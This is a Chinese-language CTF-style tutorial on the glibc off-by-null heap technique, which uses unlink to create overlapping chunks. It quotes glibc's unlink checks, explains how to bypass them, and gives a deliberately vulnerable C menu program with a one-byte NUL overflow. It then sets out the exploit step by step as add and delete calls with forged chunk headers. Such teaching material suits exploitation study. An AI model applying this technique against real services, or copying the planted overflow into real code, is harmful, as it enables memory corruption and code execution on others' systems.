利用目的:构造堆块重叠
本质上是通过篡改 下一个堆块的 priv_inuse 位,然后通过 unlink 去实现合并,以此来构造堆重叠。
相关检测
需要绕过的检测和Unlink一模一样,这里简要介绍。
1. chunksize(P) == prev_size(next_chunk(P))
这部分检测源码如下:
1 2 3 4 5
| nextchunk = chunk_at_offset(p, size);
if (__builtin_expect(nextchunk->prev_size != size, 0)) malloc_printerr("corrupted size vs. prev_size");
|
这部分检测检查的是下一个chunk的prev_size是否和当前堆块的prev_size相等(这是_int_free函数中的检测)
2. fd->bk == P && bk -> fd == P
这部分检测源码如下:
1 2 3 4 5 6 7 8 9 10
| if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; ....
|
其实就是在检测这个双向链表的结构是否完整。
3. not small
这部分检测源码如下:
1 2 3 4 5 6 7 8 9
| if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV);
|
简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查
绕过方法也非常简单,不要让堆块落入 largebin 即可。
利用方法分析
我们使用下面的代码来作示范
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <malloc.h>
#define MAX_CHUNKS 10
char *chunks[MAX_CHUNKS];
void menu() { puts("==== Menu ===="); puts("1. Add"); puts("2. Edit"); puts("3. Show"); puts("4. Delete"); puts("5. Exit"); printf("> "); }
int read_int() { char buf[16]; if (!fgets(buf, sizeof(buf), stdin)) exit(0); return atoi(buf); }
void add() { int idx; for (idx = 0; idx < MAX_CHUNKS; idx++) { if (!chunks[idx]) break; } if (idx == MAX_CHUNKS) { puts("No free slot!"); return; } printf("Size: "); size_t sz = read_int(); chunks[idx] = malloc(sz); if (!chunks[idx]) { puts("malloc failed"); exit(1); } printf("Data: "); int end = read(0, chunks[idx], sz);
chunks[idx][end] = '\0';
puts("Added."); }
void edit() { printf("Index: "); int idx = read_int(); if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx]) { puts("Invalid index"); return; } size_t real_size = malloc_usable_size(chunks[idx]); printf("Data: "); read(0, chunks[idx], real_size); puts("Edited."); }
void show() { printf("Index: "); int idx = read_int(); if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx]) { puts("Invalid index"); return; } puts(chunks[idx]); puts(""); }
void delete() { printf("Index: "); int idx = read_int(); if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx]) { puts("Invalid index"); return; } free(chunks[idx]); chunks[idx] = NULL; puts("Deleted."); }
int main() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL);
int choice; while (1) { menu(); choice = read_int(); switch (choice) { case 1: add(); break; case 2: edit(); break; case 3: show(); break; case 4: delete(); break; case 5: exit(0); default: puts("Invalid choice"); } } return 0; }
|
gcc ./test.c -no-pie -o pwn(为了方便调试,我就把PIE关了)
首先我们先申请8个堆块(除了padding块外,其他的块应该大于等于0x410以此来防止其进入tcache)(大小不一定,但是要保证 被合并堆块的地址最后一位为\x00,这里是 C )
1 2 3 4 5 6 7 8
| add(0x410) add(0x100) add(0x430) add(0x430) add(0x100) add(0x480) add(0x420) add(0x100)
|

最终我们要构造的是让 D 和 C 合并,首先我们先让 C 的 fd 指向 A , C 的 bk 指向 E(为 Unlink 做准备)
1 2 3
| delete(0) delete(3) delete(6)
|


然后我们释放 B,使其和 C 合并,然后再申请比 B 大的堆块(这里以大0x20为例,记作 B1)来修改掉原先 C(注意不要破坏 C 中我们保存下来的 fd 和 bk)
1 2
| delete(2) add(0x450,b'\x00'*0x430+p64(0)+p32(0x551))
|
下一步我们要让 A 的 bk 和 E 的 fd 指向 C,我们一步一步来操作。
首先来设置 A 的 bk
我们先把刚才释放掉的堆块申请回来,剩余的部分 C 记作 C1
1 2 3
| add(0x410) add(0x410) add(0x420)
|
然后我们依次释放 A 和 C1,使得 A 的 bk 指向 C1,然后再把A申请出来,并利用 off by null 修改 A 的 bk 最后一位使其指向 C

然后我们来设置 E 的 fd
此时我们的 C1 仍在 unsorted bin 中,我们先释放 E,使得 E 的 fd 指向 C1,然后再释放 D,此时 D 会和 E 合并,然后我们再申请大于 D 的堆块,借此修改 E 的 fd 的最低位,使其指向C,至此绕过Unlink
1 2 3 4 5
| delete(6) delete(5) add(0x4F8,b'\x00'*0x480+p64(0)+p64(0x431)) add(0x3B8) add(0x418)
|

最后我们要做的就是修改 E 的 prev_size 和 prev_inuse 了,十分简单,释放掉 padding2 然后再次利用 off by null 就可以做到
1 2
| delete(4) add(0x108,b'\x00'*0x100+p64(0x550))
|

最后释放掉 D 即可触发堆 C 和 D 的合并

后面就是泄露地址 + IO 攻击了。